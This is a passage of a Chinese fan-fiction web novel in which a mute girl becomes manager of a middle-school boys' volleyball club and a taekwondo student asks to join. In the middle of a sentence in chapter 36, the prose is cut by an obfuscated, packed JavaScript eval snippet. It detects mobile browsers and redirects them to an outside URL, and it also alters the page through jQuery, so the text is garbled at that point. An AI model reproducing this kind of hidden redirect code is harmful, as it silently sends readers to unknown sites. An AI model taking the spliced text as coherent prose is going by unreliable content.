正掰着手指在抓耳挠腮地默写26个英文字母呢! 这活儿只能落在他国见英的头上。 一路抱怨一路识别门牌,国见英走到了正确的教室门口,随机选中一个路过的男生,让他帮忙叫日向葵出来。 将近一米八的瘦高个子走出排球社就能一览众山小,在一米七不到的学弟面前尽显压迫感。 虽然脸庞还带着点婴儿肥,长相乖巧的像一个放大版的座敷童子,但是脸色阴沉沉的,半阖的乌黑瞳孔更是透着烦躁,语气完全称不上是拜托。 被选中的学弟是背着书包正要回家,被国见英吓得在教室门口原地转了个圈,连“好”都没敢回答,马不停蹄地又钻进教室里去找日向葵。 “日向同学,门口有人找!” 好阴森的学长!这么一副生人勿近的样子就不要找人搭话了吧! 日向葵被男生这一嗓子嚎得吓了一跳,回过神后缓慢地点点头,不着痕迹地揉了揉耳朵。 感觉不像是有人找,像是有人要找她麻烦。 日向葵拿着为自我介绍准备的大号笔记本和粗头白板笔起身要走,一阵椅子与地面摩擦的声音紧随其后。 隔壁的狗卷棘一反常态没有跑去训练,而是亦步亦趋地跟着日向葵。 日向葵:…… “你真的要跟我一起去吗?” 「当然!」狗卷棘手语打得很是坚定。 他当然要跟上去看看男子排球社到底是个什么样的组织。 没有陪着日向葵选择社团是他的失误,怎么就一时不察让日向葵进了一个男生如此多的社团。 也怪五条悟一逮到机会就在他面前科普早恋的危害。 现在其他男生就算只是走路的时候稍微靠近了一下日向葵,他都要紧盯着防备半天,还怎么敢让日向葵在社团里每天都面对这么多的男同学。 虽然日向葵远比他要沉稳,没什么让他不放心的,但他就是会不放心,不放心那一堆他不认识的陌生男人。 五条悟知道这件事后反而没什么担心,听到狗卷棘要推迟训练去男排看看还反过来安慰他该放宽心。 完美的展示了什么叫单防狗卷棘。 赤裸裸的双标直扎得狗卷脑袋疼。 他已经放弃跟五条悟解释自己和日向葵的纯洁友谊了,只能独自为日向葵多操心些,连带着五条悟跑偏的那一份一起。 “……好吧。”日向葵也放弃劝他了。 反正只要他不觉得尴尬,她也不去替他尴尬。 也不去管他,日向葵自顾自走出教室对上站在门口愣神的国见英。 “……啊,你好,是日向葵是吧,我是三年级的国见英,教练让我来接你。” “走吧。” 黑头发金眼睛,国见英被日向葵璀璨的眼眸惊艳了一瞬,都没注意到日向葵跟他见面后一句话都没说。 走了没两步,国见英回头看看日向葵有没有跟上来,猝不及防被日向葵身后的白毛“幽灵”惊吓得连退三步。 “他、他是谁?!” 忍住扶额的冲动,日向葵拿出笔记本: 「他是我的朋友,想跟我一起去看看。」 笔、笔记本? 国见英疑惑日向葵为什么不说话,视线又飘到狗卷棘那里,狗卷见状也拿出自己的便携笔记本: 「学长好,我叫狗卷棘。」 迟来的自我介绍刺进国见英的眼底。 这大概是他迄今为止最有耐心的两分钟。 维持着震惊的姿势等着学妹学弟在笔记本上落笔,还因为狗卷棘的便携笔记本有点小,字迹看不清楚,微微凑近了一点儿去看他到底写的是什么。 还好他眼神不错,只凑近一点点就能看清楚了。 多一点他都没胆子再往前靠近了! 现在低年级是流行用笔“说话”,都不拿嘴讲话了吗? 像是突然流行耍蝴蝶刀,吃干脆面收集奥特曼小卡那样? 这流行的也太小众了吧! 永远开着节能模式,课间总在补觉的国见英错过了同学们的闲聊,不知道新生里面有两位特殊的,现在正好全部站在他的对面。 国见英只能自顾自地毛骨悚然,把拉链拉到最顶上,一路上独自走在前面胡思乱想。 身后跟着这么两位长相精致,行为怪异,一言不发的后辈,还恰好是一男一女,国见英忍不住怀疑自己是不是乱入了什么校园怪谈。 缩了缩脖子下意识加大步伐加快脚步,好像被什么追着赶着,又好像要甩掉什么。 也是真的快把日向葵和狗卷棘甩掉了,已经开始小跑着才能勉强跟上国见英。 怎么了?要迟到了吗?这样竞走+小跑还不如直接跑起来舒服。 日向葵伸手拽住国见英的衣摆,想让他走慢些……又一次见证了什么叫一蹦三步远。 日向葵:…… 狗卷棘:? 国见英:!! 「麻烦走慢一点。」 “……好。” 国见英咽了口口水,谨慎地走在两人的侧前方,时不时回头看他们一眼。 诡异的气氛下,体育馆终于到了。 国见英如释重负,抬手指了一下教练的方向,赶紧远离这两个冰手的冷冻山芋,自己找地方充电回温。 突然有一个女生进了男排的体育馆,看见的人不免一阵骚动。 众多好奇的目光投射过来,日向葵没觉得无所适从,只是又面对着狗卷棘:“看到了吧,你走吧。” 「没看到。」 狗卷棘比她还不怯场,半点儿没有身为外人的自觉,非要多参观一下·体育馆,重点是里面的人。 他还是一无所知,肯定不能这么轻易的离开。 日向葵拿他没办法,又带着狗卷棘来到教练面前。 教练看见日向葵走过来就想着要展现自己的和善,硬挤出来一个嘴角抽搐的微笑,又看见跟在她身后的狗卷,惊讶中微笑僵在了脸上。 这个银白发……难不成“财神”是捆绑发售的吗? 日向葵还是出手帮狗卷棘做了解释: 「教练您好,他是我朋友,也想来看一看。」 至于是对排球感兴趣来看看社团,还是对排球社不放心来看看人,就得看教练自己的猜测了。 日向葵镇定自若地合上笔记本,假装自己没有第一次见面就玩文字游戏误导教练。 教练很大方地“嗯”了一声。 体育馆里这么多人在训练,一般也不会允许别人正大光明地进来参观。 而且他们也不敢,胆子大一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387756|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的也只是趴窗户缝偷偷看。 狗卷棘也算情况特殊,反正人都进来了,想看就看吧,教练就允许了。 他心里在纠结着另一件事。 “……自我介绍没问题吧?” 昨天被眼红的同事三番四次地警告要多关注女孩的心理健康,不能又占了人家便宜,又不管不顾地让人家的社团生活很有压力,最后把孩子逼得退社。 一顿危言耸听终于是把教练坚固的信念撬开一个小口。 能有那么严重吗?正常的参加社团活动不就可以了?这群臭小子练排球精力都不够,还能有闲心思欺负女同学? 整个社团教练只为影山飞雄的人际关系烦恼过,但也没多插手,因为他根本不擅长处理这种问题,也不觉得这种问题是需要他处理的。 都是大孩子了,这方面合该自己解决。 现在社团里突然收了一个需要特殊照顾的女生,这个他短板的地方就显得有些苦手了。 怎么做才叫关注心理健康啊?多问多看吗? 教练现在都怕等会儿自我介绍的时候女孩当着这么多异性的面胆怯得直接吓跑了,不确定中赶紧提前问一句。 要不就他全权代劳得了,帮女孩介绍一下,也好过于他现在这么提心吊胆地胡思乱想。 「没有问题。」 日向葵不知道教练为她思考了这么多,也不觉得自我介绍有什么不能做的,轻松应下。 而且她早就为这个准备好了,特大号的笔记本,加粗的白板笔,确保要每个社团成员完完整整地看见她的介绍,看在她表达不方便的份上没事儿少来跟她说话。 教练左看右看确定日向葵不是在强撑,被女孩身上自在闲适的劲儿治愈了不少。 扫视一圈人旧人新人也都到齐了,教练吹响口哨,开始招新后的第一次全体集合。 一番老生常谈的训诫与鼓舞,二三年级听得耳朵起茧子,一年级却看什么都新鲜,精神抖擞地站着畅想自己未来的社团生活。 而后教练让新生全部出列,在自己身边站成一排挨个介绍自己。 毛头小子们带着些许紧张的哄亮声音没吸引住前辈们的视线,大多人的眼睛忍不住一下一下地往日向葵这边瞟,好像从来没见过女生一样。 事实也是如此,这三届的男排成员迎来了他们的第一个女经理。 日向葵不在意这些关注,第一次见面都是这样的,过几天大家也就习惯了。 等到跟其他学校在赛场下碰面插科打诨的时候,才会想起来炫耀自己家有女经理。 她侧头甩了个眼神安抚了一下站在队伍角落的狗卷棘。 刚才出列的时候狗卷棘也跟着她动,想要一起站到新社员的队伍里陪她。 日向葵已经帮他遮掩过一次,可不想他在全部社员面前再出名第二次。 拽住狗卷棘的胳膊把他固定在原地,日向葵示意他只安安分分地参观就好。 别弄得像是她参加排球社还不放心自己的人身安全,给自己找了个保镖。 班级里吹她和狗卷棘青梅竹马两小无猜的风,就不要刮到排球社了。 终于轮到日向葵,她在众人的注视下不紧不慢地翻开本子,展露出里面提前写好的话。 「大家好,我叫日向葵。」 「我不能说话。」 「以后会担任男排经理一职,请大家多多指教。」 手臂高高举起确保对面的四五十个人都能把字看个大概。 男排社员的数量确实是有点多,违背了日向葵不想认识太多人的想法。 但是有舍有得,又想加入运动类社团又想人数少就有点要求太多了。 教练看女孩是真的不怯场不由满意地点点头。 “就是这样,说不了话也不耽误日向同学当你们的新经理。” “不要有了女经理就得意忘形啊,臭小子们。好好训练!” ”是!” 36.初中篇 对于日向葵是个哑巴这件事,队列中有惊讶的,有了然的,还有三位格外震惊的—— 听到过同学聊八卦但没有具体对应上人的金田一:她竟然是哑巴? 补觉没听到同学八卦还疑神疑鬼吓了自己一路的国见英:她原来是哑巴? 课间用纸笔演习战术没听八卦现在依旧在大脑里复盘托举高度的影山飞雄:啊?谁?说不了话? 没有多余的时间让他们在原地体会吃惊的感觉,教练一句“解散!”让大家都回到各自的位置。 即使心里压了多少疑问也不能妨碍他们的身体动起来继续训练。 “佐藤,过来带一下新经理。” 教练抬手招呼了一个戴着黑框眼镜身形微胖的男生过来。 “有什么不懂的问他就可以。” 他拍了拍男生的肩膀,看了一眼还没离开的狗卷棘也没多说什么,自己有事先走了。 “啊,你好,我叫佐藤大智……跟别人一样叫我佐藤就可以。” 佐藤完全没有学长的架子,有些拘谨地伸手推了下眼镜。 他很少跟女生沟通,也是头一次带新人,更是被日向葵侧后方的狗卷棘盯得浑身冒汗。 荒唐地感觉自己像是游荡在街边要跟女孩搭讪的混混儿,走过去才发现女孩的哥哥就站在她旁边,被对方一个眼神震慑住,逃跑都不知道往哪个方向。 日向葵也看出来了佐藤的不自在,那躲闪的眼神她不用回头就知道一定是狗卷把人吓到了。 这孩子不知道怎么回事,最近对靠近她的男性格外没有好脸色,连同班同学都不能幸免。 搞得现在只要他俩凑到一起就有人的视线黏过来,跟隔壁窃窃私语还笑得暧昧,一脸磕到了的表情,日向葵无语中也懒得理会。 暗推狗卷棘几下示意他该走了,狗卷也明白日向葵的意思,但是他正好可以听到排球社经理的工作内容,也不着急现在就走,伸出食指在女孩的掌心划过。 「再」 是再等一下的意思。 如同羽毛轻拂,一阵痒意通过掌心往心缝里钻,日向葵等着狗卷写完就立刻收拢手掌,用指甲飞速刮蹭两下止痒,错身站在狗卷棘的正前方挡住他,让学长的目光集中在自己身上。 「佐藤前辈,请问我的任务是什么?」 “……今天你就先跟着我适应一下吧。” 确实是没有经验,被这么一问佐藤也不知道该从哪里讲起,就先带着日向葵他们把体育馆逛一圈,想到什么就讲点什么。 经理的工作是比较杂的,大多是在干一些后勤的工作。 日常就是捡球擦球,开门关门,打扫清洁,保管各处的钥匙,帮队员灌水,记录比分和体测数据,还要看着队员们训练,关心队员的身体状态及心理状态。 更进一步就是关注各个比赛的报名咨询,整理其他学校的比赛录像研究对手,数据分析对比优劣势并提出改进意见,还要辅助教练跟其他学校约练习赛。 等到假期集训要订食宿,订场馆,看住队员不乱溜达,而且集训开销大,需要做出详细的收支明细在社团的资金账目上留痕备案。 这么乍一下把经理的所有工作摆上台面真的尽显繁琐,实则干的时候因为有队员和其他经理一起,所以也没那么忙……但是也不可能称得上闲。 尤其是男排原本有三个经理,三年级的两个经理为了准备升学学年初就提交申请离开社团了,目前所有的活都落在佐藤肩上。 多招一个经理进来最开心的就是他,但是没想到招进来的这一位又是学妹又是身体残疾,他都不好意思让日向葵多干什么活了。 ”这不是一个能摸鱼的地方,你可以再考虑一下。” 佐藤语重心长地特别强调这一点不是怀疑日向葵加入男排的动机,而是这就是他当初参加男排的目的。 他妈妈想让他加入运动类社团把身上的肥肉减减,但是他不喜欢运动,就曲线救国在朋友的推荐下面试了经理进入男子排球社。 结果当经理比当队员轻松不了多少,刚开始又不适应又忙碌,还真让他掉了好几斤。 他妈妈看他这么忙也不唠叨他了,还心疼地又做了好多好吃的说要给他补补,也不知道到底是想让他减肥还是单纯的看不得他闲着。 狗卷棘听得晕头转向,有一种在听课但是知识点怎么也不往脑袋里面钻的茫然,也没能一次性记住这么多杂乱的工作,非常赞同佐藤说的“再考虑一下”的提议。 但是入社申请都交了通过了,日向葵还是想先体验一下再决定要不要继续。 她再一次侧头问狗卷棘: “你了解了吗?” 狗卷棘听懂了潜台词,这也是日向葵第三次让他走了。 即使感觉自己只是了解了一些皮毛,狗卷的胆量也消耗的差不多,不敢再挑战女孩的耐心,安分地表示可以走了。 走之前狗卷棘还自来熟的上前揽住佐藤的肩膀把人带着走远了一些,强硬地加了佐藤的联系方式,并当场发了一条信息实验能不能联系上。 短信内容是——以后如果有什么事情发生,麻烦发消息联系我。 佐藤糊里糊涂地看着手机里的信息。 ……不是,能有什么事情啊? 联系你能有什么用啊?? 佐藤不理解……但尊重。他这种绵软的性格在前辈后辈面前都是怂怂的,别人说什么他做什么就好。 操作完这一切狗卷棘回到日向葵身边乖顺地摆了摆手,等来对方的一句“再见”才抬脚离开体育馆。 刚出大门就遇见鬼鬼祟祟往场观里面不住张望的伏黑津美纪。 津美纪拿借口支开樱井让她先回家了,自己跑到男排体育馆前徘徊。 也不是来偷看的,就是来等狗卷棘出来的。 她知道日向葵加入了男子排球社,也知道狗卷棘一定会跟着日向葵来男排看看,所以自己只要询问狗卷就能了解日向葵在社团里面的状态了。 也不需要说什么前情提要,看到狗卷出来津美纪就直接迎上去: “这里面怎么样啊?” 狗卷也不需要津美纪解释,秒秒钟明白津美纪不是在好奇男排什么样子,而是在关心日向葵在男排待得自不自在。 「还可以吧。」 只接触这么一下也看不出什么好坏。 没有看到那种很有恶意的人……也很难会有这种人存在吧? 像咒术世家里面那些眼睛长在头顶上的人还是少见的——这也是狗卷回归到普通人生活中才发现的事情。 日久见人心, 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“一路顺风。” * 在体育馆里的日向葵先被安排了捡球擦球的工作。 场馆内队员比较多,对排球的需求量也大,地上乱滚的排球如果不及时清理,一是会导致没有球用,二是影响人的行动。 用过的排球也需要拿干净的毛巾擦一下,保持球面清洁以供下一次使用。 一开始日向葵还是捡球放球,捡球捡球放球,捡球捡球捡球放球……然后就是捡一个扔一个捡一个扔一个,无论站在什么刁钻的角度都能避开队员把排球精准地扔进排球收纳篮里。 等到篮子装到半满就不行了,排球飞进去容易弹出来。 日向葵就在外围推着篮子走,路过一个捡一个,像极了收废品的老奶奶。 这活儿让她干出来一种退休后惬意的感觉。 场馆里面充斥着排球或轻或重的撞击声,或者撞在手腕上,或者撞在地板上,紧张激烈的声音却让她听着很舒心。 像是独属于路人甲的白噪音,一听就知道没有人有心思关注她,安心地当个背景板就好。 “小心!” 还没轻松多久,一声叫喊划破“寂静”冲进日向葵的耳朵。 分辨不出是对着谁喊的,但是训练了多年的条件反射和第六感一起上阵,刚刚下蹲捡球站起来的日向葵右手握住收纳篮边框借力,瞬间做出一个180°转身,正正好躲开了飞砸过来的排球。 “砰!砰!咚……” 排球砸到收纳篮后面的地面上又反弹飞到墙壁上,最后受重力、旋转力和摩擦力的三重影响斜向上飞了一点距离又落到收纳篮前面小跳着滚到收纳篮旁边。 打出这一球的男生一脸慌张地朝这边边跑边伸手,大脑都吓停滞了,唯恐新来的学妹被他一下子爆头。 日向葵倒是镇定得很,危机解除后不忘把排球捡起来,举起球向男生示意。 比日向葵更像是劫后余生的男生觉得自己懂了,眼神变得坚毅,伸手指向自己的脑袋: “往这里砸!” 是他鲁莽了差点伤到学妹。 该罚! 37.初中篇 日向葵举着排球的手一顿,感觉对面的学长莫名其妙有了种黑.帮的气质。 她把球拿起来是想问学长这球还要不要,不是要用球报复学长。 不过是偷懒不想用笔记本交流,没想到造成了这么大的误解……或许还是该培养一些默契。 不想被误会的日向葵还是嫌弃每次都动笔用本子说话太麻烦了,想着在场馆内可以多跟队员互动一下,让他们适应自己的肢体表达。 灵机一动想起自己是在进行社团活动,可以大大方方地掏出手机敲字: 「请问,这个球还用吗?」 学长看见这句话也反应过来自己闹了一个乌龙,不好意思地瞬间涨红了脸,连忙疯狂摆手,嘴里说着“不用不用”,下一秒手却停止挥舞把排球拿走一溜烟跑远了。 语言和动作可以称得上是完全不同步,一套连招只剩日向葵看着自己空空如也的手掌发呆。 “你没事吧?” 听见动静的影山飞雄跑过来确认一下。 日向葵回神,继续用手机敲字: 「没事的。」 不如说那位学长看起来更像是有事的样子。 “没事就好……” 别扭地在原地磨蹭两下,影山再次开口:“那个……抱歉!” 郑重的态度让日向葵看懵了。 ? 她跟这位学长的接触只有两次吧。 一次售卖机,一次招新现场,不记得这位学长做过什么需要道歉的事情啊? 那边日向葵没回忆明白,这边影山沉浸在自己的自责里,打开了话闸: “那天我不应该跟你说可以报名排球社的……真是抱歉!” 招新那天他并不知道日向葵的身体情况,只是在反复思考今年社团到底招不招女经理,结果没想到给学妹提供了错误的建议。 是的,他并不觉得以日向葵这样的身体条件适合来男子排球社当经理,在他看来这不是一个好的选择,会面临各个方面的压力。 尤其是沟通方面,像他这样能说话的人都总是感觉跟别人讲不清楚,像日向葵这样不能说话的人当然会更加坎坷烦恼。 总而言之影山飞雄觉得日向葵能加入男排有他的一份责任在,拨乱反正是他的义务。 他直言道:“你不适合在排球部当经理,我可以帮你去跟教练说。” 和教练沟通的压力就让他来帮学妹承担! 日向葵:…… 她全程都在仔细端详影山飞雄的神态。 没有嘲讽,没有戏谑,眼神坚定,一脸正直地看着她,是真的很认真地在对她讲话。 这才确认了自己不是在被霸凌,而是在听来自学长的劝告。 也是第一次遇到这么真诚,又这么不会说话的人。 短短一句话但凡换一个心思敏感的人来听,就会感觉是前辈在质疑自己的能力,在她加入排球社的第一天就出言劝退,不接受有交流障碍的人来排球社当经理。 但是日向葵又看得出他的诚恳,明白他是真心的在为自己着想,只是表达出来很奇怪……让人火大。 有一种听了这句话后好像该生气,但又能理解的挫败感。 「谢谢学长,我自己会判断的。」 或许把“不要多管闲事”这样过分的话写在纸上展示给影山看,才能让他了解日向葵不是他想象中那么脆弱的人。 可日向葵不是会“说”出那种话的人,所以这一串用手机打出来的字落在影山的眼睛里面,就是在诉说学妹不好意思麻烦自己。 他活得逻辑自洽得很,不死心地开口又想说点什么,被日向葵眼疾手快地从收纳篮里拿出一个排球怼进怀里。 「前辈,不要耽误训练了。」 用了力气的逐客令,撞得影山的前胸微痛,这才意识到自己好像说错什么话惹学妹生气了,但又不知道错在哪里。 在周围假装系鞋带、找东西,路过无数次的金田一终于待不住了。 他当时看到影山飞雄单独去找日向葵说话就有点不放心。 这小子能找学妹干什么? 脑子里只有排球的人还能想起来去找学妹打个招呼,叙叙旧? 以影山的情商发现有人同一个错误犯了第二次,都会不假辞色地上前质问为什么不长记性、不努力……这样一个不知道委婉是什么的人不会说错话吧? 金田一踌躇着走到不近不远的地方观察那边的动静,听到影山走过去是为了道歉这才放下心来……完全不能放心的好吧! 怎么一上去就道歉啊?! 影山飞雄你到底是个什么样的人物?这才跟学妹认识多久你就做了需要道歉的事情了?!! 金田一震惊地愣在原地,没想到听到了影山更加炸裂的发言。 ……影山,你这家伙果然吐不出什么象牙! 终于把自己从石化状态中解除的金田一大步流星地上前,架着影山的胳膊就把人拖走了。 “怎么了?发生什么了?” “没有,好好训练!” “噢……你不用拽我,我自己走。” 你最好自己走! 看着已经拖了有一段距离,金田一嫌弃地放开影山飞雄,心里暗自吐槽。 话说跟笨蛋离得近不会被传染吧? 可别再去跟学妹尬聊了,专心打你的排球!真的是多余长了张嘴。 影山飞雄不知道金田一对他的腹诽,还真的以为金田一是去敦促自己的,快步回到场地继续给队员们托球。 刚偷懒了没几分钟的国见英看见影山回来,又支撑起自己沉重的身躯开始排队等扣球。 叫他回来干嘛? 人家爱聊天就让他聊呗! 国见英充满怨念地盯着金田一的背影,好像要看出一个洞来。 影山在的时候他也不是不敢偷懒,但是影山学不会无视,只要一看见他躲懒就来谴责,让他烦不胜烦。 好不容易有个机会让他耳朵清闲地放松一会儿,没想到被金田一打断了。 还能不能愉快地做朋友了! 排队排到国见英了,他跟前面的人一样把手中的排球向空中一抛,向前助跑,蹬地飞跃,抬手扣下正好被影山传到掌前的排球,但是击球点对比球的高度来说低了,没有全部用上力。 “再高一点!” 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接近两米的身高,宽阔的脊背,紧实的肌肉,搭配浓密的眉毛,还有像是游标卡尺量出来的方正板寸和性感嘟嘟香肠嘴唇……妥妥的硬汉形象!(此处划掉性感嘟嘟香肠嘴唇) 像是重量级的相扑选手,又感觉缺少了脂肪包肌肉的圆润感,反正跟瘦瘦高高的排球社队员们放在一起怎么看都不太搭。 “请问你们的教练在吗?或者是队长也可以。”猛男粗声粗气地问道。 他身上自带着一股威风堂堂的气势,给人一种是来踢馆的感觉。 体育馆内三年级的学长们还没来,一二年级的队员们拥有小动物趋利避害的本能,要么在赞叹要么在忌惮,一时也没有哪个男生上前回话。 佐藤前辈也还在杂物间里清点物品,眼见的队员们都被猛男吸引了心思不再训练,日向葵摆出经理风范,“嘟嘟!”两声吹响脖子上挂着的蓝色口哨,示意大家继续训练,猛男这边由她来对接。 哨子是教练后面给她的,让她用来警告不好好训练的队员。 日向葵一般不会吹,但是吹了就不会有人不给她这个面子。 排球社恢复了往日的秩序,只不过有几位八卦的队员时不时往猛男和日向葵这边瞟几眼。 “你是……男排的经理吗?” 日向葵点了点头,一米六几的女生中等身高在近两米的猛男面前尽显娇小,却是丝毫不慌乱地举起自己的手机。 手机里面不是想对猛男说的话,而是已发出消息的界面。 收件人为“金田一(队长)”,信件内容为“前辈,有人找”。 就在猛男面前,信息从未读跳转到已读,接着手机响起“滴滴”两声,弹出一句回复: 「好的,我现在来。」 确认男生看清楚了,日向葵转回手机屏幕自己也看了一眼回复,然后指着场观边缘靠墙的座椅表示猛男可以先休息等待一下。 “哦哦……” 猛男面对着女生有些拘谨,顺着日向葵手指的方向走了两步,又发现自己忘了什么转身回来。 “谢谢你啊,我叫刚田猛男,请多指教!” 刚田·真·猛男,面对女生害羞版,参上! 38.初中篇 刚田猛男把自己拘束在对他来说有些细长的休息椅上,目不转睛地看着排球社的队员们训练。 被紧盯着的队员们背负上无形的压力。 虽然这么想很冒犯,但是真的有一种在被大猩猩当猴看的感觉。 在学弟们的动作彻底因为猛男的视线变得机械之前,三年级组的学长们终于赶到。 刚刚上任成为男排队长的金田一被赶鸭子上架,直面刚田猛男。 “您好,是排球社的社长是吗?我叫刚田猛男,是初一的新生。” 猛男友好地伸出自己宽厚的手掌。 金田一也是很久没有像这样仰视一个人了,气势莫名地被猛男比下去,后知后觉伸出手回握。 ! 手劲儿好大! 用力也挣脱不开,幸亏猛男握手摇晃的时间并不长,松手后金田一挂着勉强的笑容,在身侧甩了好几下手缓解疼痛。 “你好,我是排球部的队长金田一勇太郎,有什么事情吗?” 刚田猛男一反刚才的气宇轩昂,略显不好意思地抓了抓自己后脑茂密的短发: “那个,排球社还招人吗?” “就是说,您看我能来排球社试试吗?” 什么啊~ 偷听的众人有些遗憾,没想到这样一个壮汉突袭排球社,竟然是因为这么一件没有看点的事情。 散了散了~ 金田一:“啊……” 原来是想加入排球社啊。 他还没有适应好自己的队长身份,从未独立地做过什么决定,说点儿什么都觉得气短,也拿不准现在还能不能招猛男入社。 招新的时间段早就结束了。 按照学校规定,最后一天每一位同学都需要至少提交一个社团申请,可以多选,但不能不选。 如果多个申请全部通过则可以反选,也可以在跟社团沟通好后合理安排自己的时间。 所以刚田猛男目前至少应该已经加入了一个社团,而不应该像现在这样还来排球社求入社。 并且猛男说的是来排球社试试。 除了招新后那段反选时期,一般都是社团把机会给到有意向的学生试试,不合适就不录用。从来没有听说过哪个学生主动去社团里面试试,不喜欢就不干的。 下一次换社团的机会也是在下个学期,金田一是没见过在现在这个时间段还能挨个社团试试挑选的先例。 ……但是万一呢? 万一不是不行,只是很少有人这么干呢? 金田一没有拒绝的底气,一时不知道该怎么回答。 突然一阵喧闹的声音由远及近,排球社门口出现几位男生。 统一穿着素净的跆拳道训练服,腰间捆扎着结实的缎带,在大门的左右两边扒着门框向里面张望,仅剩的那点理智控制着他们没有直接鲁莽地闯进体育馆里。 “猛男!我们不能没有你啊!” “我们不能没有你!” “跆拳道社需要你,快跟我们回去吧!” “快跟我们回去吧!” 喊口号一样整齐,还有领喊,控制住了自己不直接闯进别人家社团的大门,但是没控制住自己不在别人家社团的门口大喊大叫。 叫喊声还带着哀怨,像是在万般挽留抛家弃子的负心汉,非常的恋爱脑,同时也扔掉了面子。 要是能把猛男喊回跆拳道社,面子什么的算什么东西! 背景都仿佛燃起了熊熊烈火,几位男生此起彼伏喊得更起劲儿了。 这好几嗓子把金田一的心喊得更加混乱,催着他赶紧给猛男一个答复,要不就是他亲手送走了一个被其他社团视如珍宝的好苗子。 那边日向葵帮刚田猛男联系上金田一后,就回去找佐藤一起清点物品。 现下刚在佐藤的吩咐下又推过来一收纳篮的排球,就听见排球社门口有人在大吵大闹。 眉头一拧,属于经理的DNA在她的脉搏里跃动。 身为排球社的经理,首要任务就是保证队员们能够正常训练,正常比赛。 日向葵径直走到大门前客气地微微一笑,当着门口不知道是前辈还是后辈的面利落地合上了门,一点缝隙也没留。 跆拳道社的各位被日向葵的笑容一晃,又被她不留情面的关门弄得一呆。 面面相觑后又转战到围着栏杆的窗户外面,扒着窗沿往里看,可以说是阴魂不散了。 明明是他们站在窗外,在栏杆的遮挡下却像极了被关在监狱里面流铁窗泪的,连发型都像。 还是会影响队员们训练——日向葵想着。 她没什么办法了,总不能拿着手机打字去警告那些人,眼睛一转,看到了正在欣赏刚田猛男肌肉的影山飞雄。 影山飞雄是一个标准的冷脸天然呆,面对前辈也没有自己容易得罪人的自觉,想什么说什么。 而且现在对他来说整个学校也没有可以称之为前辈的人了,他就是最大的前辈们的其中一个。 身为整个排球社最不会说话的前辈,也不能只伤害自己人,是时候该派他上场了。 还没等日向葵去找影山,刚田猛男自己走到了窗前: “前辈,你们跟着我干什么?快回去吧。” “不行!” “我们跆拳道社真的很需要猛男你啊,千万不要离开我们!” “我不是已经同意挂名了吗?” “……万一你加入的那个社团不同意怎么办?你就跟我们回去吧!” 刚田猛男:“……” 他也是头一次体会到无语的感觉。 “……如果前辈们再这样的话,任何跆拳道比赛我都不会帮忙参加,扣学分也不会。” 猛男没想着恐吓,只是在单纯地陈述事实。 窗户那边的人却被吓得失去了色彩,一个个捂着自己的嘴巴表示自己肯定不会再说话,但还是不死心地待在窗外没有离开。 看着这一切发生的金田一:“……” 真的是太丢脸了! 那几个人都是三年级的,虽然不是同班级的但他都认识。 记得运动会的时候还叫嚣着放狠话,现在一个个闪着泪花追着人跑,金田一一点儿也没有大快人心的感觉,反而有种看熟人拍中二视频的羞耻感。 有点儿三年级的稳重行吗?我们三年级的人真的不是这个样子的! 刚田猛男回头看见金田一捂着脸,还以为他生气了,连忙解释: “……那个,真是抱歉,我不知道他们跟过来了。” 金 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顺带一提他的跆拳道等级是红黑带一品,是目前他这个年龄能取得的最高段位。没有更高的段位不是因为水平不行,而是因为年龄不够。 金田一:“……” 情况更复杂了! 这个人好棘手的样子,就算是入社了,不会哪一天突然蹦出来一句“排球,太简单了”,然后又要换社团吧? 金田一还是处理不来这样的状况,让刚田猛男稍等一下,自己去角落里给教练打电话说明情况。 看着金田一走了,影山飞雄终于逮到机会来问点儿自己想知道的。 “你的肌肉是怎么练的?” “平常喜欢什么运动?” “有测过自己的摸高水平吗?” “打排球你想打哪个位置?考虑做攻手吗?” …… 接踵而至的问题砸了刚田猛男满脸,回复也都是“不知道”,“都喜欢”,“没测过”,句句有回应但是一问三不知。 不甘心还想再问点什么的影山却被日向葵轻拍手臂打断了。 「已经在这边用了很长时间了。」 本着经理的职责她催促影山赶快过去训练,顺便去管一下被这一出闹得心有些散的队员们。 目前来看在管理队员方面影山比金田一更具有威严感。 他是真的能做到不顾情谊只看效果,把对方的排球水平和努力程度作为自己情绪的开关。 看到打的好的不一定夸,看到没尽力却一定会责备,完完全全的严父型人格。 日向葵把影山飞雄支走去管教那帮懒散的男生,这边的刚田猛男有更重要的事情需要去做。 「一会儿我们的教练就要过来了,他们还待在这里不好吧?」 点到即止,也没功夫管刚田猛男有没有看懂,日向葵要接着去忙自己的事情。 猛男想了一下才明白日向葵的意思,对着女孩的背影高声道谢,立即出门去驱散跆拳道社的前辈了。 跆拳道社的前辈们:“……” 为我们发声啊,请! 39.初中篇 好结实,好高,像一堵墙。 教练双手背在身后,面不改色地仰头观察刚田猛男。 原本觉得金田一在这个年纪能长到这么高已经算是吃激素了,没想到还能遇到更高的。 沉静的面孔下,教练仰着的脖子有点酸。 “……你是来干什么的?” “我想加入排球社试试,教练!” 还真的是啊…… 其实教练刚刚已经从金田一那里了解到,猛男是来加入排球社的。 但是站在这里见到本人就有点不敢相信,有点精神恍惚……这样的身体素质怎么看都不像是打排球的吧? 把旁边那群真正打排球的衬得要么像竹竿,要么像鸡仔。 这种体型打篮球守篮板,踢足球守门都很合适,但就是不像打排球的,准确来说是不像打排球的初中生。 太……健美了,也不是胖就是壮,感觉一年就把人家二十年要走的身体发育的路走完了。 掀开衣服那腹肌都应该像一块一块砖头一样坚实。 而且“试试”是什么意思?哪来的这个说法? 就是说试过之后就算排球社觉得合适,但凡只要他自己觉得不合适,也是要走的意思吗? “……听说你已经加入跆拳道社了。” “我已经申请退社,但是那边不通过,所以目前名字还是挂在那里的……” 刚田猛男这句话说的没什么底气,很担心教练会因为这件事情不给他机会。 这确实是一个会被其他社团拒绝的理由,但是凡事都有例外,优秀的运动员都是被争着抢着要的,刚田猛男当然也有这个潜质。 “那你为什么选择我们排球社呢?” 